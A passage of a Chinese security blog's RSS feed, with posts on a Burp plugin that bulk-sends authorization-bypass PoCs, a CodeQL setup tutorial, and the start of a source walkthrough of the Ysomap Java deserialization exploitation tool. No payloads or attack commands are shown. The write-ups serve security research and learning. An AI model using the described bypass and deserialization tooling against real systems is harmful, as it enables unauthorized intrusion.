<p ql-global-para="true" line="init" style="text-align: center;"><strong><span style="font-size: 20px;">前言</span></strong></p><p ql-global-para="true" line="init"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p ql-global-para="true" line="init"><br/></p><p ql-global-para="true" line="init"><span style="font-size: 14px;">之前写了一份安全认证绕过相关文档，总结出一些常见的权限绕过poc，再结合一些其他人公开的字典，写了一个自动发包的插件。</span><br/></p><p ql-global-para="true" line="l5OU"><span style="font-size: 14px;">PS：对于返回包的检测涉及场景太多，没有检测逻辑，只能说集成了很多poc做一个简单的发包，对于黑盒测试还需要结合一下人工。</span></p><p ql-global-para="true" line="XMWM"><span style="font-size: 14px;">POC分类如下：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.44353182751540043" data-s="300,640" style="" data-type="png" data-w="1948" src="https://wechat2rss.xlab.app/img-proxy/?k=3b8c6385&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icOsib9nKxKCJrsWS0giaYEOHVWUOQpBarSDZRuelk2yAEjJsyzufOghvtEXGKh8SNsZAAhqYMDXU4w%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p ql-global-para="true" line="EYlC" style="text-align: center;"><strong><span style="font-size: 20px;">使用视频：</span></strong></p><p ql-global-para="true" line="uVkv"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p ql-global-para="true" line="uVkv"><span style="font-size: 14px;"><br/></span></p><section><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=4b387be6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5icOsib9nKxKCJrsWS0giaYEOHIn2686wbU3oRaiaggKicXdwkI6H1Dib0ib0icrJ9Hicu4JyKeNjiaJ7EQfsJg%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=4ff4c302&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247485029%26idx%3D1%26sn%3Dc1a45885d1037f902f172da08d84341d%26subscene%3D0&amp;v=wxv_2219582787911729153"></video></section><p ql-global-para="true" line="uVkv"><span style="font-size: 14px;"></span><br/></p><p ql-global-para="true" line="uVkv" style="text-align: center;"><br/></p><p ql-global-para="true" line="uVkv" style="text-align: center;"><strong><span style="font-size: 20px;">参考链接：</span></strong><br/></p><p ql-global-para="true" line="Livi"><br/></p><p ql-global-para="true" line="Livi"><span style="font-size: 14px;">远海字典</span></p><p ql-global-para="true" line="9Yh1" style=""><span style="font-size: 14px;"><a href="https://github.com/Dheerajmadhukar/4-ZERO-3" target="_blank">https://github.com/Dheerajmadhukar/4-ZERO-3</a></span></p><p ql-global-para="true" line="9Yh1" style="text-align: center;"><br/></p><p ql-global-para="true" line="9Yh1" style="text-align: center;"><strong><span style="font-size: 20px;">源码链接</span></strong><br/></p><p ql-global-para="true" line="9Yh1" style="text-align: center;"><strong><span style="font-size: 20px;"><br/></span></strong></p><p ql-global-para="true" line="9Yh1"><span style="font-size: 14px;"><a href="https://github.com/0linlin0/Java/tree/master/burpdemo" target="_blank">https://github.com/0linlin0/Java/tree/master/burpdemo</a></span></p>



<p><a href="2247485029">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2ce70a4b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247485029%26idx%3D1%26sn%3Dc1a45885d1037f902f172da08d84341d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 11 Jan 2022 16:38:00 +0800</pubDate>
    </item>
    <item>
      <title>RCE IN 2022</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247485018&amp;idx=1&amp;sn=83f862f5517e6d163d55254adc26fcaf</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>Skay</span> <span>2022-01-01 10:31</span> <span style="display: inline-block;"></span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d95fbf56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P59Om3zHrIGljX7IcVqOMtrrdXRIWRUUweMKUh8SH6Yh3AaUTUouuUHQARXDTcnuOV59iaxHpXLjGxQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 16px;"><p style="font-size: 16px;"><span style="font-size: 20px;font-weight: bold;">2021<span data-change-font="1" style="color: rgb(51, 51, 51);font-style: normal;text-decoration: none;"></span></span></p><p style="font-size: 16px;"><span data-change-font="1" style="font-size: 12px;color: rgb(51, 51, 51);font-weight: normal;font-style: normal;text-decoration: none;">​经手了大大小小组件25个，RCE 19个</span><span style="font-size: 20px;font-weight: bold;"><br/></span></p><p style="font-size: 16px;"><span style="font-size: 12px;">发表文章自己还看得过去的文章37篇</span></p><p><span style="font-size: 12px;">在知识星球分享40个</span></p><p style="font-size: 16px;"><span style="font-size: 12px;">捕捉到一只Godzilla🖤</span></p><p style="font-size: 12px;"><br/></p><span style="font-size: 20px;font-weight: bold;">2022</span><p style="font-size: 16px;"><span data-change-font="1" style="font-size: 12px;color: rgb(51, 51, 51);font-style: normal;text-decoration: none;">​敬请期待</span><br/></p><p style="font-size: 16px;"><span data-change-font="1" style="font-size: 12px;color: rgb(51, 51, 51);font-style: normal;text-decoration: none;"></span></p><section><img data-ratio="0.5470085740089417" data-type="jpg" data-w="1170" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a2b9747b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P59Om3zHrIGljX7IcVqOMtrrBS5pRmmU9kicBNibycSIjnkBEAJ0w1NQyYABHhQLjM0oRWofS6v1RsLA%2F640%3Fwx_fmt%3Djpeg"/>​</section><p style="font-size: 16px;"><span data-change-font="1" style="font-size: 12px;color: rgb(51, 51, 51);font-style: normal;text-decoration: none;"></span><br/></p></section>



<p><a href="2247485018">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c08ff385&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247485018%26idx%3D1%26sn%3D83f862f5517e6d163d55254adc26fcaf%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 01 Jan 2022 10:31:00 +0800</pubDate>
    </item>
    <item>
      <title>Codeql 入门</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247485016&amp;idx=1&amp;sn=983c23cd5cff4310ee233b21444815f4</link>
      <description>Codeql学习的第一周~</description>
      <content:encoded><![CDATA[<p>
<span>Skay</span> <span>2021-12-29 16:43</span> <span style="display: inline-block;"></span>
</p>

<p>Codeql学习的第一周~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f7cf52aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5icyPh8nOhITHx4GGjloLah9p1oMIZgLCic6E6fDYvUYwjxyVNZEicsc8w5T9h6Xqhumq8tXpqRMkicaw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><strong><span style="font-size: 20px;">一、背景</span></strong></p><p><span style="font-size: 14px;"></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">至于为什么学习Codeql还是因为审计中遇到一个需求，三梦师傅丢出Codeql秀了我一脸，感觉可以花点时间看一看。</span><br/></p><p><shape type="#_x0000_t75" filled="f"><imagedata title="image1"></imagedata></shape><img class="rich_pages wxw-img" data-ratio="0.8482632541133455" style="width:546.72998046875px;height:463.6499938964844px;" data-type="png" data-w="547" src="https://wechat2rss.xlab.app/img-proxy/?k=7d73ba03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icyPh8nOhITHx4GGjloLah9yZ68icLfoIOwhnUK34ic7eFtdqzyW3XUFZnjyw5ERIPXHib4DgxfaXKhQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: center;"><strong><span style="font-size: 20px;">二、环境搭建及使用</span></strong></p><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">这里建立在已经知道Codeql是什么的情况下，Codeql基本概念介绍移步这里</span><span style="font-size: 14px;"><a href="https://www.4hou.com/posts/yJOW" target="_blank">https://www.4hou.com/posts/yJOW</a></span><br/></p><p><span style="font-size: 14px;">基本的环境搭建和使用我参考的14yn3师傅的文章：</span><span style="font-size: 14px;"><a href="https://www.freebuf.com/articles/web/283795.html" target="_blank">https://www.freebuf.com/articles/web/283795.html</a></span></p><p><strong><span style="font-size: 16px;">1.安装</span></strong></p><p><span style="font-size: 14px;">CodeQL本身包含两部分解析引擎+SDK。</span></p><p><span style="font-size: 14px;">解析引擎用来解析我们编写的规则，虽然不开源，但是我们可以直接在官网下载二进制文件直接使用。</span></p><p><span style="font-size: 14px;">SDK完全开源，里面包含大部分现成的漏洞规则，我们也可以利用其编写自定义规则。</span></p><p><span style="font-size: 14px;">Codeql-Cli：</span><span style="font-size: 14px;"><a href="https://github.com/github/codeql-cli-binaries/releases" target="_blank">https://github.com/github/codeql-cli-binaries/releases</a></span><span style="font-size: 14px;"> 下载好后配置环境变量即可</span></p><p><span style="font-size: 14px;">SDK：git clone </span><span style="font-size: 14px;"><a href="https://github.com/Semmle/ql" target="_blank">https://github.com/Semmle/ql</a></span><span style="font-size: 14px;"> </span></p><p><img class="rich_pages wxw-img" data-ratio="0.572992700729927" style="width:547.6199951171875px;height:314.2200012207031px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=6663f966&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icyPh8nOhITHx4GGjloLah9QJWicNyolxq7JUJR7pb1fpQRVOf0gEjlj4TpFhtic7KaX7MtNaAmsF7w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 14px;">接下来就是VSCode，大多都是使用VSCode进行规则的开发和调试，插件很好装，直接在插件市场搜索CodeQL 安装即可，安装好后配置codeql引擎路径</span></p><p><img class="rich_pages wxw-img" data-ratio="0.7299270072992701" style="width:547.6199951171875px;height:400.260009765625px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=185eadab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icyPh8nOhITHx4GGjloLah94LoaYdTy9RccCfeJZEBBNLVSHXFVN2iaMIlCEzpwoibOW6CAubKK0G6w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><strong><span style="font-size: 16px;">2.使用</span></strong></p><p><span style="font-size: 14px;">想要体验Codeql使用大概就分为两步：创建数据库 -&gt; 使用ql对数据库进行查找</span></p><p><span style="font-size: 14px;">之前刚入门的时候写过几个web_demo项目，这下正好试下。</span></p><p><span style="font-size: 14px;">生成数据库有两种方式，当然真正审计项目的时候就是本地生成database。可能是因为当时项目写的不规范产生编译为题导致数据库生成失败</span></p><p><img class="rich_pages wxw-img" data-ratio="0.22262773722627738" style="width:547.6199951171875px;height:122.4000015258789px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=51a06398&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icyPh8nOhITHx4GGjloLah9ibZM0fnYFalvrK2CgY5nXVndpNyk66h0xUkRPCXoQcSmapNWSS2ibSfw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">这里偷个懒，直接用lgtm</span></p><p><img class="rich_pages wxw-img" data-ratio="0.17518248175182483" style="width:547.6199951171875px;height:95.55999755859375px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=12533d24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icyPh8nOhITHx4GGjloLah9QDHXrO2XrMqKJaX4Ma6XibqbkqZQT1NQz1Ko1reblnnkibRS3KOmMfMg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">简单运行一个查询语句可以使用CodeQL: Quick Query，这里简单查询一下所有内容为空的方法</span></p><p><span style="font-size: 14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">import</span> <span class="code-snippet__string">java</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">from</span> <span class="code-snippet__string">Method m, BlockStmt block</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">where</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">block</span> = <span class="code-snippet__string">m.getBody() and</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__meta">block.getNumStmt()</span> = <span class="code-snippet__string">0</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">select</span> <span class="code-snippet__string">m</span></span></code></pre></section><p><span style="font-size: 14px;">结果如下</span></p><p><img class="rich_pages wxw-img" data-ratio="0.49452554744525545" style="width:547.6199951171875px;height:271.4200134277344px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=f18d1bff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icyPh8nOhITHx4GGjloLah9JPKtu5h9aZ2ct8WhbpePk4TickLoiawMicgQ7pX3XZEIj8ejjBic221OibQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">如果想要保存自己的语句，可以参考创建ql包，编写qlpack.yml文件即可</span></p><p><span style="font-size: 14px;"><a href="https://codeql.github.com/docs/codeql-cli/about-ql-packs/#about-ql-packs" target="_blank">https://codeql.github.com/docs/codeql-cli/about-ql-packs/#about-ql-packs</a></span></p><p><img class="rich_pages wxw-img" data-ratio="0.354014598540146" style="width:547.6199951171875px;height:193.83999633789062px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=9e0dfa28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icyPh8nOhITHx4GGjloLah9Wtbtjp2XMESdHvicEAbNuibKBNia3PQ5iclEmKBu1GTx0MiaXuNuG34FuGw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: center;"><strong><span style="font-size: 20px;">三、学习路线资料</span></strong></p><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">网上公开的学习资料有一些，最近看了很多，这里推荐些自己觉得不错的</span><br/></p><p><span style="font-size: 14px;">官方文档 </span><span style="font-size: 14px;"><a href="https://codeql.github.com/docs/codeql-overview/" target="_blank">https://codeql.github.com/docs/codeql-overview/</a></span></p><p><span style="font-size: 14px;">CodeQL 概述部分大概说明了CodeQL 的工作原理、CodeQL 分析支持的语言和库，以及工具的使用和一些术语。建议大概过一遍。</span></p><p><span style="font-size: 14px;">第二部分大概讲了Codeql-VScode的使用，以及相关配置文件的规范</span></p><p><span style="font-size: 14px;">第三部分就是cli的命令行参数</span></p><p><span style="font-size: 14px;">第四部分编写QL语句，这里推荐看这个教程</span><span style="font-size: 14px;"><a href="https://www.4hou.com/posts/o6wX" target="_blank">https://www.4hou.com/posts/o6wX</a></span></p><p><img class="rich_pages wxw-img" data-ratio="0.9927007299270073" style="width:547.6199951171875px;height:543.6799926757812px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=26454ded&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icyPh8nOhITHx4GGjloLah9U0vxJ2dMXzpSyrnZqorlIIz8XKxmfp3KArSA82rdNXtX5cxF2qOwJw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">第五部分是codeql语言参考指南，这里面给处理Codeql针对不同语言下的查询原理及ql编写，我是读了一遍官方文档后，有些地方有点无法理解，比如数据流部分，建议多读几遍，另外这部分还有中文版</span><span style="font-size: 14px;"><a href="https://www.cnblogs.com/goodhacker/p/" target="_blank">https://www.cnblogs.com/goodhacker/p/</a></span></p><p><img class="rich_pages wxw-img" data-ratio="0.44525547445255476" style="width:547.6199951171875px;height:244.36000061035156px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=049c1650&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icyPh8nOhITHx4GGjloLah96VPNPzRxMV0cuMjWvmkIWlwic0uCkhSick257OSxqlbEO2DADQJqjQMw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 14px;">如果AST的前置不足可以参考下这些（Sumersec师傅说AST学好了，写ql很简单：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.7043795620437956" style="width:547.6199951171875px;height:386.2200012207031px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=e6bb10c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icyPh8nOhITHx4GGjloLah9uW7kIb3vDyvTTIzFX9X2scyEzDg09qpj4TGpia3KF9F7MzQgYX1E7cg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 14px;"><a href="https://www.jianshu.com/p/ff8ec920f5b9" target="_blank">https://www.jianshu.com/p/ff8ec920f5b9</a></span></p><p><span style="font-size: 14px;"><a href="https://www.jianshu.com/p/4bd5dc13f35a" target="_blank">https://www.jianshu.com/p/4bd5dc13f35a</a></span></p><p><span style="font-size: 14px;"><a href="https://www.jianshu.com/p/68fcbc154c2f" target="_blank">https://www.jianshu.com/p/68fcbc154c2f</a></span></p><p><span style="font-size: 14px;"><br/></span></p><p style="text-align: center;"><strong><span style="font-size: 20px;">四、总结</span></strong></p><p><br/></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">我觉得看完这些差不多就算入门了吧，第一遍看不懂就多看几遍咯，接下来就是多多实践，官方给出了很多示例ql，还有lgmt上公开的很多ql，然后再有一些现成的结合漏洞编写ql的文章，争取每个都仔细看过</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6332116788321168" style="width:547.6199951171875px;height:347.1199951171875px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=f6e85ba5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icyPh8nOhITHx4GGjloLah9bdBDM9KSEFjEHfQSwQoGDYKB6F60KNRMwr3jUzvQdF2iaZlfo3OYq0g%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.666058394160584" style="width:547.6199951171875px;height:365.489990234375px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=20c25e5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icyPh8nOhITHx4GGjloLah9ibXMzw2UXgmk4b3QFaOiaPvkzx6TQpwCHzBicGS298iampiaEc3fVSsMFjQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><p><br/></p>



<p><a href="2247485016">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c1bf5e64&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247485016%26idx%3D1%26sn%3D983c23cd5cff4310ee233b21444815f4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 29 Dec 2021 16:43:00 +0800</pubDate>
    </item>
    <item>
      <title>Ysomap 源码浅析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247484987&amp;idx=1&amp;sn=627ddc3707004fcf825e77ed2bdfd362</link>
      <description>Ysomap 源码浅析</description>
      <content:encoded><![CDATA[<p>
原创 <span>Skay</span> <span>2021-12-03 13:57</span> <span style="display: inline-block;"></span>
</p>

<p>Ysomap 源码浅析</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e04975fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5icwcSyZg5vYEndGXDW5NcyTricjV16UeJ1ArA3A98LdTfA6lCoicNzbia6ib8ibMrd4a0zp8WYSl4cBD6w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p ql-global="true" line="init"><span style="font-size: 14px;">工具运行如下</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5970464135021097" data-s="300,640" style="" data-type="png" data-w="1422" src="https://wechat2rss.xlab.app/img-proxy/?k=4c185093&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icwcSyZg5vYEndGXDW5NcyTcCpBfc0wnwDjXoa1vqOKp8LkQyHKDLDWJAsJSibALYNVnuHdBSjVVwQ%2F640%3Fwx_fmt%3Dpng"/></p><h1><p style="text-align: center;"><br/></p><p style="text-align: center;"><strong><span style="font-size: 20px;">一、入口类App</span></strong></p></h1><h2><p><span style="font-size: 14px;"><br/></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 14px;"><br/></span></p><p><strong><span style="font-size: 16px;">1.console.init()</span></strong><br/></p></h2><p ql-global="true" line="SiVV"><span style="font-size: 14px;">调用Reflections反射库扫描包，初始化了exploits以及payloads，bullets全局变量。exploits以及payloads，bullets为三个Map</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6402877697841727" data-s="300,640" style="" data-type="png" data-w="1112" src="https://wechat2rss.xlab.app/img-proxy/?k=2f553ebc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icwcSyZg5vYEndGXDW5NcyT0Tc3D6eP2JnC0ugLLyHzTku9ibe9DMZcjHQKgZia7D7vaooY4SjYKgRw%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">ObjectInputFilterManager</span><span class="code-snippet__selector-class">.setup</span>();</span></code></pre></section><p ql-global="true" line="0dad"><span style="font-size: 14px;">调用jep290反序列化防御机制 配置反序列化白名单 ObjectInputFilter.Config.setSerialFilter。这也是为什么工具需要在较高版本jdk(jep290)上运行原因。</span></p><h2><p><strong><span style="font-size: 16px;">2.console.run()</span></strong></p></h2><p ql-global="true" line="iPPY"><span style="font-size: 14px;">工具调用jline库提供了一个可交互式shell，run的一开始做了shell的一些初始化工作，通过while(true) 实现REPL (Read-Eval-Print Loop)。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7138331573389651" data-s="300,640" style="" data-type="png" data-w="947" src="https://wechat2rss.xlab.app/img-proxy/?k=637839c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icwcSyZg5vYEndGXDW5NcyThzsGTrZhFaUl3NxhrAzqiagJ2jmX2otSz6M5GhMJBkibBLEaibbFJxshw%2F640%3Fwx_fmt%3Dpng"/></p><p ql-global="true" line="1TVa"><span style="font-size: 14px;">ysomap.cli.Console#dispatch() 方法根据用户输入的命令分发到不同功能</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.713784021071115" data-s="300,640" style="" data-type="png" data-w="1139" src="https://wechat2rss.xlab.app/img-proxy/?k=4f076ad6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icwcSyZg5vYEndGXDW5NcyT5WmnebUukvLuSA7gfOmm5ibIztEJvHhDrYj0t4LKkpf5SufO2ceBQDg%2F640%3Fwx_fmt%3Dpng"/></p><h1><p><br/></p><p style="text-align: center;"><strong><span style="font-size: 20px;">二、Consol与Session类</span></strong></p><p><span style="font-size: 14px;"><br/></span></p></h1><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6516357206012379" data-s="300,640" style="" data-type="png" data-w="1131" src="https://wechat2rss.xlab.app/img-proxy/?k=92593aaf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icwcSyZg5vYEndGXDW5NcyToSTicDVNda78j9YNb02MbKdec2MDWUqB7OiaibR6tIIIvmHcKsSiciaribmA%2F640%3Fwx_fmt%3Dpng"/></p><p ql-global="true" line="nRpe"><span style="font-size: 14px;">Session继承于Console，两个类算是ysomap工具核心。</span><br/></p><h2><p><strong><span style="font-size: 16px;">1.Console</span></strong></p></h2><p ql-global="true" line="jElZ"><span style="font-size: 14px;">Console类代表了整个工具运行时的终端，不仅实现了App入口类的init、run方法，工具运行时终端的任何输入输出不同命令的实现都由这个类来提供。ysomap.cli.Console#dispatch() 方法中的每一个case都对应着Console中的一个方法。具体的方法跟进留在后面功能中具体分析。</span></p><p ql-global="true" line="2gqv"><span style="font-size: 14px;">Console中的Field</span><span style="font-size: 14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__comment">//我的注释 所有可用的的exploit/payload/bullet</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> Map&lt;<span class="code-snippet__built_in">String</span>, MetaData&gt; exploits;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> Map&lt;<span class="code-snippet__built_in">String</span>, MetaData&gt; payloads;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> Map&lt;<span class="code-snippet__built_in">String</span>, MetaData&gt; bullets;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//我的注释 当前活跃session</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> Session curSession;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//我的注释 当前终端中所有存在session</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> Map&lt;<span class="code-snippet__built_in">String</span>, Session&gt; sessions;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//我的注释 用户命令</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">String</span> command;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//我的注释 用户传入命令参数</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> List&lt;<span class="code-snippet__built_in">String</span>&gt; args;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//我的注释 控制台打印输出的前缀</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">String</span> prompt;</span></code></pre></section><p><span style="font-size: 14px;"></span><br/></p><h2><p><strong><span style="font-size: 16px;">2.Session</span></strong></p></h2><p ql-global="true" line="vwpm"><span style="font-size: 14px;">因为工具不同于ysoserial，提供了一个可交的长连接终端，因此引入了Session的概念。当我们使用不同的payload或者exploite时，都会新建一个session，用户可以任意切换session.回到代码角度，一些简单的方法</span><span style="font-size: 16px;"></span></p><h1><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5483528161530287" data-s="300,640" style="" data-type="png" data-w="941" 